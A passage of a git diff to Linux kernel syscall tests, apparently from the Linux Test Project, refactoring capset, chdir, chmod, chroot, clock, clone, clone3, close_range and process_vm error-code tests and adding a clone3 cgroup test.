- * 1) capset() fails with errno set to EFAULT if an invalid address + * + * 1. capset() fails with errno set to EFAULT if an invalid address * is given for header. - * 2) capset() fails with errno set to EFAULT if an invalid address + * 2. capset() fails with errno set to EFAULT if an invalid address * is given for data. - * 3) capset() fails with errno set to EINVAL if an invalid value + * 3. capset() fails with errno set to EINVAL if an invalid value * is given for header->version. - * 4) capset() fails with errno set to EPERM if the new_Effective is + * 4. capset() fails with errno set to EPERM if the new_Effective is * not a subset of the new_Permitted. - * 5) capset() fails with errno set to EPERM if the new_Permitted is + * 5. capset() fails with errno set to EPERM if the new_Permitted is * not a subset of the old_Permitted. - * 6) capset() fails with errno set ot EPERM if the new_Inheritable is + * 6. capset() fails with errno set ot EPERM if the new_Inheritable is * not a subset of the old_Inheritable and bounding set. */ + #include #include #include diff --git a/testcases/kernel/syscalls/capset/capset03.c b/testcases/kernel/syscalls/capset/capset03.c index 074ab1f5..2b83e6ce 100755 --- a/testcases/kernel/syscalls/capset/capset03.c +++ b/testcases/kernel/syscalls/capset/capset03.c @@ -1,11 +1,17 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. - * Author: Yang Xu + */ + +/*\ + * [Description] * * capset() fails with errno set or EPERM if the new_Inheritable is * not a subset of old_Inheritable and old_Permitted without CAP_SETPCAP. */ + #include #include #include diff --git a/testcases/kernel/syscalls/capset/capset04.c b/testcases/kernel/syscalls/capset/capset04.c index f929be55..13477a4a 100755 --- a/testcases/kernel/syscalls/capset/capset04.c +++ b/testcases/kernel/syscalls/capset/capset04.c @@ -1,12 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + * Copyright (c) Linux Test Project, 2020-2023 * Author: Saji Kumar.V.R + */ + +/*\ + * [Description] * - * Tests whether we can use capset() to modify the capabilities of a thread + * Test whether capset() can be used to modify the capabilities of a thread * other than itself. Now, most linux distributions with kernel supporting * VFS capabilities, this should be never permitted. */ + #include #include #include diff --git a/testcases/kernel/syscalls/chdir/chdir01.c b/testcases/kernel/syscalls/chdir/chdir01.c index e4080e3f..d50a8f50 100755 --- a/testcases/kernel/syscalls/chdir/chdir01.c +++ b/testcases/kernel/syscalls/chdir/chdir01.c @@ -31,18 +31,27 @@ static char *workdir; static int skip_symlinks, skip_blocked; static struct passwd *ltpuser; +static char *file_name; +static char *blocked_name; +static char *dir_name; +static char *cwd_name; +static char *parent_name; +static char *root_name; +static char *missing_name; +static char *link_name; + static struct test_case { - const char *name; + char **name; int root_ret, root_err, nobody_ret, nobody_err; } testcase_list[] = { - {FILE_NAME, -1, ENOTDIR, -1, ENOTDIR}, - {BLOCKED_NAME, 0, 0, -1, EACCES}, - {DIR_NAME, 0, 0, 0, 0}, - {".", 0, 0, 0, 0}, - {"..", 0, 0, 0, 0}, - {"/", 0, 0, 0, 0}, - {"missing", -1, ENOENT, -1, ENOENT}, - {LINK_NAME1, -1, ELOOP, -1, ELOOP}, + {&file_name, -1, ENOTDIR, -1, ENOTDIR}, + {&blocked_name, 0, 0, -1, EACCES}, + {&dir_name, 0, 0, 0, 0}, + {&cwd_name, 0, 0, 0, 0}, + {&parent_name, 0, 0, 0, 0}, + {&root_name, 0, 0, 0, 0}, + {&missing_name, -1, ENOENT, -1, ENOENT}, + {&link_name, -1, ELOOP, -1, ELOOP}, }; static void setup(void) @@ -53,8 +62,6 @@ static void setup(void) umask(0); - SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL); - cwd = SAFE_GETCWD(NULL, 0); workdir = SAFE_MALLOC(strlen(cwd) + strlen(MNTPOINT) + 2); sprintf(workdir, "%s/%s", cwd, MNTPOINT); @@ -109,7 +116,7 @@ static void run(unsigned int n) { struct test_case *tc = testcase_list + n; - tst_res(TINFO, "Testing '%s'", tc->name); + tst_res(TINFO, "Testing '%s'", *tc->name); if (tc->root_err == ELOOP && skip_symlinks) { tst_res(TCONF, "Skipping symlink loop test, not supported"); @@ -119,8 +126,8 @@ static void run(unsigned int n) /* Reset current directory to mountpoint */ SAFE_CHDIR(workdir); - TEST(chdir(tc->name)); - check_result("root", tc->name, tc->root_ret, tc->root_err); + TEST(chdir(*tc->name)); + check_result("root", *tc->name, tc->root_ret, tc->root_err); if (tc->nobody_err == EACCES && skip_blocked) { tst_res(TCONF, "Skipping unprivileged permission test, " @@ -130,25 +137,35 @@ static void run(unsigned int n) SAFE_CHDIR(workdir); SAFE_SETEUID(ltpuser->pw_uid); - TEST(chdir(tc->name)); + TEST(chdir(*tc->name)); SAFE_SETEUID(0); - check_result(TESTUSER, tc->name, tc->nobody_ret, tc->nobody_err); + check_result(TESTUSER, *tc->name, tc->nobody_ret, tc->nobody_err); } static void cleanup(void) { SAFE_CHDIR(".."); - tst_umount(workdir); free(workdir); } static struct tst_test test = { .needs_root = 1, - .format_device = 1, + .mount_device = 1, .mntpoint = MNTPOINT, .all_filesystems = 1, .test = run, .tcnt = ARRAY_SIZE(testcase_list), .setup = setup, - .cleanup = cleanup + .cleanup = cleanup, + .bufs = (struct tst_buffers []) { + {&file_name, .str = FILE_NAME}, + {&blocked_name, .str = BLOCKED_NAME}, + {&dir_name, .str = DIR_NAME}, + {&cwd_name, .str = "."}, + {&parent_name, .str = ".."}, + {&root_name, .str = "/"}, + {&missing_name, .str = "does_not_exist"}, + {&link_name, .str = LINK_NAME1}, + {} + } }; diff --git a/testcases/kernel/syscalls/chmod/chmod01.c b/testcases/kernel/syscalls/chmod/chmod01.c index 9f5ec4c6..b3b828ac 100755 --- a/testcases/kernel/syscalls/chmod/chmod01.c +++ b/testcases/kernel/syscalls/chmod/chmod01.c @@ -19,13 +19,16 @@ static int modes[] = {0, 07, 070, 0700, 0777, 02777, 04777, 06777}; +static char *test_dir; +static char *test_file; + static struct variant { - char *name; + char **name; unsigned int mode_mask; char *desc; } variants[] = { - {TESTFILE, S_IFREG, "verify permissions of file"}, - {TESTDIR, S_IFDIR, "verify permissions of directory"}, + {&test_file, S_IFREG, "verify permissions of file"}, + {&test_dir, S_IFDIR, "verify permissions of directory"}, }; static void verify_chmod(unsigned int n) @@ -34,21 +37,21 @@ static void verify_chmod(unsigned int n) int mode = modes[n]; struct variant *tc = &variants[tst_variant]; - TST_EXP_PASS(chmod(tc->name, mode), "chmod(%s, %04o)", - tc->name, mode); + TST_EXP_PASS(chmod(*tc->name, mode), "chmod(%s, %04o)", + *tc->name, mode); if (!TST_PASS) return; - SAFE_STAT(tc->name, &stat_buf); + SAFE_STAT(*tc->name, &stat_buf); stat_buf.st_mode &= ~tc->mode_mask; if (stat_buf.st_mode == (unsigned int)mode) { tst_res(TPASS, "stat(%s) mode=%04o", - tc->name, stat_buf.st_mode); + *tc->name, stat_buf.st_mode); } else { tst_res(TFAIL, "stat(%s) mode=%04o", - tc->name, stat_buf.st_mode); + *tc->name, stat_buf.st_mode); } } @@ -57,9 +60,9 @@ static void setup(void) tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc); if (tst_variant) - SAFE_MKDIR(variants[tst_variant].name, MODE); + SAFE_MKDIR(*variants[tst_variant].name, MODE); else - SAFE_TOUCH(variants[tst_variant].name, MODE, NULL); + SAFE_TOUCH(*variants[tst_variant].name, MODE, NULL); } static struct tst_test test = { @@ -68,4 +71,9 @@ static struct tst_test test = { .tcnt = ARRAY_SIZE(modes), .test = verify_chmod, .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&test_file, .str = TESTFILE}, + {&test_dir, .str = TESTDIR}, + {} + } }; diff --git a/testcases/kernel/syscalls/chown/chown02.c b/testcases/kernel/syscalls/chown/chown02.c index 7c96832a..46718583 100755 --- a/testcases/kernel/syscalls/chown/chown02.c +++ b/testcases/kernel/syscalls/chown/chown02.c @@ -9,6 +9,7 @@ * [Description] * * Verify that chown(2) invoked by super-user: + * * - clears setuid and setgid bits set on an executable file * - preserves setgid bit set on a non-group-executable file */ diff --git a/testcases/kernel/syscalls/chroot/chroot03.c b/testcases/kernel/syscalls/chroot/chroot03.c index ba8c1e9a..87faec31 100755 --- a/testcases/kernel/syscalls/chroot/chroot03.c +++ b/testcases/kernel/syscalls/chroot/chroot03.c @@ -25,41 +25,42 @@ #include #include "tst_test.h" -static char fname[255]; -static char nonexistent_dir[100] = "testdir"; -static char bad_dir[] = "abcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz"; -static char symbolic_dir[] = "sym_dir1"; +#define FILE_NAME "test_file" +#define LOOP_DIR "sym_dir1" +#define NONEXISTENT_DIR "does_not_exist" + +static char *longname_dir; +static char *file_name; +static char *nonexistent_dir; +static char *bad_ptr; +static char *loop_dir; static struct tcase { - char *dir; + char **dir; int error; char *desc; } tcases[] = { - {bad_dir, ENAMETOOLONG, "chroot(longer than VFS_MAXNAMELEN)"}, - {fname, ENOTDIR, "chroot(not a directory)"}, - {nonexistent_dir, ENOENT, "chroot(does not exists)"}, - {(char *)-1, EFAULT, "chroot(an invalid address)"}, - {symbolic_dir, ELOOP, "chroot(symlink loop)"} + {&longname_dir, ENAMETOOLONG, "chroot(longer than VFS_MAXNAMELEN)"}, + {&file_name, ENOTDIR, "chroot(not a directory)"}, + {&nonexistent_dir, ENOENT, "chroot(does not exists)"}, + {&bad_ptr, EFAULT, "chroot(an invalid address)"}, + {&loop_dir, ELOOP, "chroot(symlink loop)"} }; static void verify_chroot(unsigned int n) { struct tcase *tc = &tcases[n]; - TST_EXP_FAIL(chroot(tc->dir), tc->error, "%s", tc->desc); + TST_EXP_FAIL(chroot(*tc->dir), tc->error, "%s", tc->desc); } static void setup(void) { - unsigned int i; - - (void)sprintf(fname, "tfile_%d", getpid()); - SAFE_TOUCH(fname, 0666, NULL); + SAFE_TOUCH(FILE_NAME, 0666, NULL); + bad_ptr = tst_get_bad_addr(NULL); - for (i = 0; i < ARRAY_SIZE(tcases); i++) { - if (tcases[i].error == EFAULT) - tcases[3].dir = tst_get_bad_addr(NULL); - } + memset(longname_dir, 'a', PATH_MAX + 1); + longname_dir[PATH_MAX+1] = 0; SAFE_SYMLINK("sym_dir1/", "sym_dir2"); SAFE_SYMLINK("sym_dir2/", "sym_dir1"); @@ -70,4 +71,11 @@ static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .test = verify_chroot, .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&file_name, .str = FILE_NAME}, + {&nonexistent_dir, .str = NONEXISTENT_DIR}, + {&loop_dir, .str = LOOP_DIR}, + {&longname_dir, .size = PATH_MAX+2}, + {} + } }; diff --git a/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c b/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c index 11da39cf..a67639b0 100755 --- a/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c +++ b/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c @@ -126,5 +126,4 @@ static struct tst_test test = { .test_variants = ARRAY_SIZE(variants), .setup = setup, .needs_root = 1, - .timeout = 10, }; diff --git a/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c b/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c index 83e97d90..b02d22a1 100755 --- a/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c +++ b/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c @@ -18,7 +18,7 @@ #include "time64_variants.h" #include "tst_safe_clocks.h" #include "tst_timer.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" static struct tcase { int clk_id; @@ -37,6 +37,7 @@ static struct tcase { static struct tst_ts now, then, parent_then; static int parent_ns; +static long long delta = 10; static struct time64_variants variants[] = { { .clock_gettime = libc_clock_gettime, .ts_type = TST_LIBC_TIMESPEC, .desc = "vDSO or syscall with libc spec"}, @@ -70,7 +71,7 @@ static void child(struct time64_variants *tv, struct tcase *tc) diff = tst_ts_diff_ms(then, now); - if (diff - tc->off * 1000 > 10) { + if (diff - tc->off * 1000 > delta) { tst_res(TFAIL, "Wrong offset (%s) read %llims", tst_clock_name(tc->clk_id), diff); } else { @@ -80,7 +81,7 @@ static void child(struct time64_variants *tv, struct tcase *tc) diff = tst_ts_diff_ms(parent_then, now); - if (diff > 10) { + if (diff > delta) { tst_res(TFAIL, "Wrong offset (%s) read %llims", tst_clock_name(tc->clk_id), diff); } else { @@ -113,6 +114,11 @@ static void setup(void) { struct time64_variants *tv = &variants[tst_variant]; + if (tst_is_virt(VIRT_ANY)) { + tst_res(TINFO, "Running in a VM, multiply the delta by 10."); + delta *= 10; + } + now.type = then.type = parent_then.type = tv->ts_type; tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc); parent_ns = SAFE_OPEN("/proc/self/ns/time_for_children", O_RDONLY); diff --git a/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c b/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c index a8d2c5b3..c279da79 100755 --- a/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c +++ b/testcases/kernel/syscalls/clock_gettime/clock_gettime04.c @@ -35,7 +35,7 @@ clockid_t clks[] = { }; static gettime_t ptr_vdso_gettime, ptr_vdso_gettime64; -static long long delta = 5; +static long long delta, precise_delta, coarse_delta; static inline int do_vdso_gettime(gettime_t vdso, clockid_t clk_id, void *ts) { @@ -92,9 +92,18 @@ static struct time64_variants variants[] = { static void setup(void) { + struct timespec res; + + clock_getres(CLOCK_REALTIME, &res); + precise_delta = 5 + res.tv_nsec / 1000000; + + clock_getres(CLOCK_REALTIME_COARSE, &res); + coarse_delta = 5 + res.tv_nsec / 1000000; + if (tst_is_virt(VIRT_ANY)) { tst_res(TINFO, "Running in a virtual machine, multiply the delta by 10."); - delta *= 10; + precise_delta *= 10; + coarse_delta *= 10; } find_clock_gettime_vdso(&ptr_vdso_gettime, &ptr_vdso_gettime64); @@ -108,6 +117,11 @@ static void run(unsigned int i) int count = 10000, ret; unsigned int j; + if (clks[i] == CLOCK_REALTIME_COARSE || clks[i] == CLOCK_MONOTONIC_COARSE) + delta = coarse_delta; + else + delta = precise_delta; + do { for (j = 0; j < ARRAY_SIZE(variants); j++) { /* Refresh time in start */ diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep03.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep03.c index 5bd91fa6..dfc52227 100755 --- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep03.c +++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep03.c @@ -18,7 +18,7 @@ #include "time64_variants.h" #include "tst_safe_clocks.h" #include "tst_timer.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define OFFSET_S 10 #define SLEEP_US 100000 diff --git a/testcases/kernel/syscalls/clock_settime/clock_settime02.c b/testcases/kernel/syscalls/clock_settime/clock_settime02.c index 88d44924..5974e79a 100755 --- a/testcases/kernel/syscalls/clock_settime/clock_settime02.c +++ b/testcases/kernel/syscalls/clock_settime/clock_settime02.c @@ -14,7 +14,6 @@ #include "tst_safe_clocks.h" #define DELTA_SEC 10 -#define NSEC_PER_SEC (1000000000L) static void *bad_addr; diff --git a/testcases/kernel/syscalls/clone/clone04.c b/testcases/kernel/syscalls/clone/clone04.c index 7af4fedd..74347e2b 100755 --- a/testcases/kernel/syscalls/clone/clone04.c +++ b/testcases/kernel/syscalls/clone/clone04.c @@ -2,6 +2,7 @@ /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. * Copyright (c) 2012 Wanlong Gao + * Copyright (c) Linux Test Project, 2003-2023 */ /*\ @@ -44,4 +45,8 @@ static void verify_clone(unsigned int nr) static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .test = verify_clone, + .tags = (const struct tst_tag[]) { + {"musl-git", "fa4a8abd06a4"}, + {} + }, }; diff --git a/testcases/kernel/syscalls/clone/clone07.c b/testcases/kernel/syscalls/clone/clone07.c index 5ccda211..8848b2b4 100755 --- a/testcases/kernel/syscalls/clone/clone07.c +++ b/testcases/kernel/syscalls/clone/clone07.c @@ -7,7 +7,7 @@ /*\ * [Description] * - * Test for a libc bug where exitting child function by returning from + * Test for a libc bug where exiting child function by returning from * it caused SIGSEGV. */ diff --git a/testcases/kernel/syscalls/clone/clone08.c b/testcases/kernel/syscalls/clone/clone08.c index 3de1fe9b..dd97f3ff 100755 --- a/testcases/kernel/syscalls/clone/clone08.c +++ b/testcases/kernel/syscalls/clone/clone08.c @@ -11,7 +11,6 @@ #include #include #include -#include #include "tst_test.h" #include "clone_platform.h" @@ -29,11 +28,6 @@ static void test_clone_tid(int t); static int child_clone_child_settid(void *); static int child_clone_parent_settid(void *); -#ifdef CLONE_STOPPED -static void test_clone_stopped(int t); -static int child_clone_stopped(void *); -static int stopped_flag; -#endif static void test_clone_thread(int t); static int child_clone_thread(void *); @@ -58,10 +52,6 @@ static struct test_case { test_clone_tid, child_clone_child_settid}, {"CLONE_PARENT_SETTID", CLONE_PARENT_SETTID | CLONE_VM | SIGCHLD, test_clone_tid, child_clone_parent_settid}, -#ifdef CLONE_STOPPED - {"CLONE_STOPPED", CLONE_STOPPED | CLONE_VM | SIGCHLD, - test_clone_stopped, child_clone_stopped}, -#endif {"CLONE_THREAD", CLONE_THREAD | CLONE_SIGHAND | CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, test_clone_thread, child_clone_thread}, @@ -148,40 +138,6 @@ static int child_clone_parent_settid(void *arg LTP_ATTRIBUTE_UNUSED) return 0; } -#ifdef CLONE_STOPPED -static void test_clone_stopped(int t) -{ - pid_t child; - - if (tst_kvercmp(2, 6, 38) >= 0) { - tst_res(TCONF, "CLONE_STOPPED skipped for kernels >= 2.6.38"); - return; - } - - child = clone_child(&test_cases[t]); - - TST_PROCESS_STATE_WAIT(child, 'T', 0); - - stopped_flag = 0; - - SAFE_KILL(child, SIGCONT); - - tst_reap_children(); - - if (stopped_flag == 1) - tst_res(TPASS, "clone stopped and resumed as expected"); - else - tst_res(TFAIL, "clone not stopped, flag %d", stopped_flag); -} - -static int child_clone_stopped(void *arg LTP_ATTRIBUTE_UNUSED) -{ - stopped_flag = 1; - tst_syscall(__NR_exit, 0); - return 0; -} -#endif - static void test_clone_thread(int t) { pid_t child; diff --git a/testcases/kernel/syscalls/clone/clone09.c b/testcases/kernel/syscalls/clone/clone09.c index e9e58456..37528e4b 100755 --- a/testcases/kernel/syscalls/clone/clone09.c +++ b/testcases/kernel/syscalls/clone/clone09.c @@ -4,14 +4,13 @@ */ #define _GNU_SOURCE -#include #include #include #include "tst_test.h" #include "clone_platform.h" #include "lapi/syscalls.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" static void *child_stack; static int sysctl_net = -1; @@ -88,5 +87,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, - .min_kver = "2.6.24", }; diff --git a/testcases/kernel/syscalls/clone3/.gitignore b/testcases/kernel/syscalls/clone3/.gitignore index 604cb903..10369954 100755 --- a/testcases/kernel/syscalls/clone3/.gitignore +++ b/testcases/kernel/syscalls/clone3/.gitignore @@ -1,2 +1,3 @@ clone301 clone302 +clone303 diff --git a/testcases/kernel/syscalls/clone3/clone301.c b/testcases/kernel/syscalls/clone3/clone301.c index 7ac4bb5a..d0fadbc5 100755 --- a/testcases/kernel/syscalls/clone3/clone301.c +++ b/testcases/kernel/syscalls/clone3/clone301.c @@ -15,8 +15,8 @@ #include #include "tst_test.h" -#include "lapi/clone.h" -#include "lapi/pidfd_send_signal.h" +#include "lapi/sched.h" +#include "lapi/pidfd.h" #define CHILD_SIGNAL SIGUSR1 #define DATA 777 diff --git a/testcases/kernel/syscalls/clone3/clone302.c b/testcases/kernel/syscalls/clone3/clone302.c index 08d6417c..48b83155 100755 --- a/testcases/kernel/syscalls/clone3/clone302.c +++ b/testcases/kernel/syscalls/clone3/clone302.c @@ -12,9 +12,10 @@ #define _GNU_SOURCE #include +#include #include "tst_test.h" -#include "lapi/clone.h" +#include "lapi/sched.h" static struct clone_args *valid_args, *invalid_args; unsigned long stack; @@ -34,7 +35,7 @@ static struct tcase { } tcases[] = { {"invalid args", &invalid_args, sizeof(*valid_args), 0, NULL, SIGCHLD, 0, 0, 0, EFAULT}, {"zero size", &valid_args, 0, 0, NULL, SIGCHLD, 0, 0, 0, EINVAL}, - {"short size", &valid_args, sizeof(*valid_args) - 1, 0, NULL, SIGCHLD, 0, 0, 0, EINVAL}, + {"short size", &valid_args, sizeof(struct clone_args_minimal) - 1, 0, NULL, SIGCHLD, 0, 0, 0, EINVAL}, {"extra size", &valid_args, sizeof(*valid_args) + 1, 0, NULL, SIGCHLD, 0, 0, 0, EFAULT}, {"sighand-no-VM", &valid_args, sizeof(*valid_args), CLONE_SIGHAND, NULL, SIGCHLD, 0, 0, 0, EINVAL}, {"thread-no-sighand", &valid_args, sizeof(*valid_args), CLONE_THREAD, NULL, SIGCHLD, 0, 0, 0, EINVAL}, @@ -59,6 +60,8 @@ static void setup(void) { clone3_supported_by_kernel(); + TST_EXP_EQ_SZ(sizeof(struct clone_args_minimal), 64); + void *p = tst_get_bad_addr(NULL); invalid_args = p; diff --git a/testcases/kernel/syscalls/clone3/clone303.c b/testcases/kernel/syscalls/clone3/clone303.c new file mode 100644 index 00000000..04c41942 --- /dev/null +++ b/testcases/kernel/syscalls/clone3/clone303.c @@ -0,0 +1,94 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2023 SUSE LLC + */ + +/*\ + * [Description] + * + * This test case check clone3 CLONE_INTO_CGROUP flag + * + */ + +#define _GNU_SOURCE +#include +#include +#include + +#include "tst_test.h" +#include "lapi/sched.h" +#include "lapi/pidfd.h" + +#define BUF_LEN 20 + +static struct tst_cg_group *cg_child_test_simple; +static int fd; +static struct tst_clone_args *args; + +static pid_t clone_into_cgroup(int cgroup_fd) +{ + + args->flags = CLONE_INTO_CGROUP; + args->exit_signal = SIGCHLD; + args->cgroup = cgroup_fd; + + return tst_clone(args); +} + +static void run(void) +{ + pid_t pid; + + pid = clone_into_cgroup(fd); + + if (!pid) { + TST_CHECKPOINT_WAIT(0); + return; + } + + char buf[BUF_LEN]; + + SAFE_CG_READ(cg_child_test_simple, "cgroup.procs", buf, BUF_LEN); + + if (atoi(buf) == pid) + tst_res(TPASS, "clone3 case pass!"); + else + tst_brk(TFAIL | TTERRNO, "clone3() failed !"); + + TST_CHECKPOINT_WAKE(0); + + SAFE_WAITPID(pid, NULL, 0); + +} + +static void setup(void) +{ + clone3_supported_by_kernel(); + + cg_child_test_simple = tst_cg_group_mk(tst_cg, "cg_test_simple"); + + fd = tst_cg_group_unified_dir_fd(cg_child_test_simple); + + if (fd < 0) + tst_brk(TBROK, "get dir fd failed!"); +} + +static void cleanup(void) +{ + cg_child_test_simple = tst_cg_group_rm(cg_child_test_simple); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_cgroup_ctrls = (const char *const []){ "base", NULL }, + .needs_cgroup_ver = TST_CG_V2, + .needs_checkpoints = 1, + .min_kver = "5.7", + .bufs = (struct tst_buffers []) { + {&args, .size = sizeof(*args)}, + {}, + } +}; diff --git a/testcases/kernel/syscalls/close_range/close_range01.c b/testcases/kernel/syscalls/close_range/close_range01.c index 5e2de4d1..072bbab6 100755 --- a/testcases/kernel/syscalls/close_range/close_range01.c +++ b/testcases/kernel/syscalls/close_range/close_range01.c @@ -28,7 +28,7 @@ #include "tst_test.h" #include "tst_clone.h" -#include "lapi/clone.h" +#include "lapi/sched.h" #include "lapi/close_range.h" static int fd[3]; @@ -53,6 +53,8 @@ static inline void do_close_range(unsigned int fd, unsigned int max_fd, static void setup(void) { + close_range_supported_by_kernel(); + struct rlimit nfd; SAFE_GETRLIMIT(RLIMIT_NOFILE, &nfd); diff --git a/testcases/kernel/syscalls/close_range/close_range02.c b/testcases/kernel/syscalls/close_range/close_range02.c index bd46936b..2aa6d2c9 100755 --- a/testcases/kernel/syscalls/close_range/close_range02.c +++ b/testcases/kernel/syscalls/close_range/close_range02.c @@ -18,7 +18,7 @@ #include "tst_clone.h" #include "lapi/fcntl.h" #include "lapi/close_range.h" -#include "lapi/clone.h" +#include "lapi/sched.h" static int try_close_range(int fd, int flags) { @@ -111,4 +111,5 @@ static struct tst_test test = { .tcnt = 6, .forks_child = 1, .test = run, + .setup = close_range_supported_by_kernel, }; diff --git a/testcases/kernel/syscalls/cma/process_vm01.c b/testcases/kernel/syscalls/cma/process_vm01.c index f9bd865e..014fd6ff 100755 --- a/testcases/kernel/syscalls/cma/process_vm01.c +++ b/testcases/kernel/syscalls/cma/process_vm01.c @@ -1,47 +1,18 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (C) 2012 Linux Test Project, Inc. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of version 2 of the GNU General Public - * License as published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it - * is free of the rightful claim of any third person regarding - * infringement or the like. Any license provided herein, whether - * implied or otherwise, applies only to this software file. Patent - * licenses, if any, provided herein do not apply to combinations of - * this program with other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA - * 02110-1301, USA. + * Copyright (c) Linux Test Project, 2012 + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ -/* - * errno tests shared by process_vm_readv, process_vm_writev tests. +/*\ + * [Description] + * + * Test errno codes in process_vm_readv and process_vm_writev syscalls. */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include + #include -#include "config.h" -#include "test.h" -#include "safe_macros.h" +#include +#include "tst_test.h" #include "lapi/syscalls.h" struct process_vm_params { @@ -56,137 +27,27 @@ struct process_vm_params { unsigned long flags; }; -static int rflag; -static int wflag; - -static option_t options[] = { - {"r", &rflag, NULL}, - {"w", &wflag, NULL}, - {NULL, NULL, NULL} -}; - -static char TCID_readv[] = "process_vm_readv"; -static char TCID_writev[] = "process_vm_writev"; -char *TCID = "cma01"; -int TST_TOTAL = 1; -static void (*cma_test_params) (struct process_vm_params * params) = NULL; - -static void setup(char *argv[]); -static void cleanup(void); -static void help(void); - -static void cma_test_params_read(struct process_vm_params *params); -static void cma_test_params_write(struct process_vm_params *params); -static void cma_test_errnos(void); - -int main(int argc, char *argv[]) -{ - int lc; - - tst_parse_opts(argc, argv, options, &help); - - setup(argv); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - cma_test_errnos(); - } - cleanup(); - tst_exit(); -} - -static void setup(char *argv[]) -{ - tst_require_root(); - - if (rflag && wflag) - tst_brkm(TBROK, NULL, "Parameters -r -w can not be used" - " at the same time."); - else if (rflag) { - TCID = TCID_readv; - cma_test_params = cma_test_params_read; - } else if (wflag) { - TCID = TCID_writev; - cma_test_params = cma_test_params_write; - } else - tst_brkm(TBROK, NULL, "Parameter missing, required -r or -w."); - TEST_PAUSE; -} - -static void cleanup(void) -{ -} - -static void help(void) -{ - printf(" -r Use process_vm_readv\n"); - printf(" -w Use process_vm_writev\n"); -} - -static void cma_test_params_read(struct process_vm_params *params) -{ - TEST(ltp_syscall(__NR_process_vm_readv, - params->pid, - params->lvec, params->liovcnt, - params->rvec, params->riovcnt, - params->flags)); -} - -static void cma_test_params_write(struct process_vm_params *params) -{ - TEST(ltp_syscall(__NR_process_vm_writev, - params->pid, - params->lvec, params->liovcnt, - params->rvec, params->riovcnt, - params->flags)); -} - -static int cma_check_ret(long expected_ret, long act_ret) -{ - if (expected_ret == act_ret) { - tst_resm(TPASS, "expected ret success - " - "returned value = %ld", act_ret); - } else { - tst_resm(TFAIL, "unexpected failure - " - "returned value = %ld, expected: %ld", - act_ret, expected_ret); - return 1; - } - return 0; -} - -static int cma_check_errno(long expected_errno) -{ - if (TEST_ERRNO == expected_errno) - tst_resm(TPASS | TTERRNO, "expected failure"); - else if (TEST_ERRNO == 0) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - return 1; - } else { - tst_resm(TFAIL | TTERRNO, "unexpected failure - " - "expected = %ld : %s, actual", - expected_errno, strerror(expected_errno)); - return 2; - } - return 0; -} +static char *str_read; +static void (*test_params)(struct process_vm_params *params); -static struct process_vm_params *cma_alloc_sane_params(void) +static struct process_vm_params *alloc_params(void) { struct process_vm_params *sane_params; int len; len = getpagesize(); - sane_params = SAFE_MALLOC(NULL, sizeof(struct process_vm_params)); + + sane_params = SAFE_MALLOC(sizeof(struct process_vm_params)); sane_params->len = len; - sane_params->ldummy = SAFE_MALLOC(NULL, len); - sane_params->rdummy = SAFE_MALLOC(NULL, len); + sane_params->ldummy = SAFE_MALLOC(len); + sane_params->rdummy = SAFE_MALLOC(len); - sane_params->lvec = SAFE_MALLOC(NULL, sizeof(struct iovec)); + sane_params->lvec = SAFE_MALLOC(sizeof(struct process_vm_params)); sane_params->lvec->iov_base = sane_params->ldummy; sane_params->lvec->iov_len = len; sane_params->liovcnt = 1; - sane_params->rvec = SAFE_MALLOC(NULL, sizeof(struct iovec)); + sane_params->rvec = SAFE_MALLOC(sizeof(struct process_vm_params)); sane_params->rvec->iov_base = sane_params->rdummy; 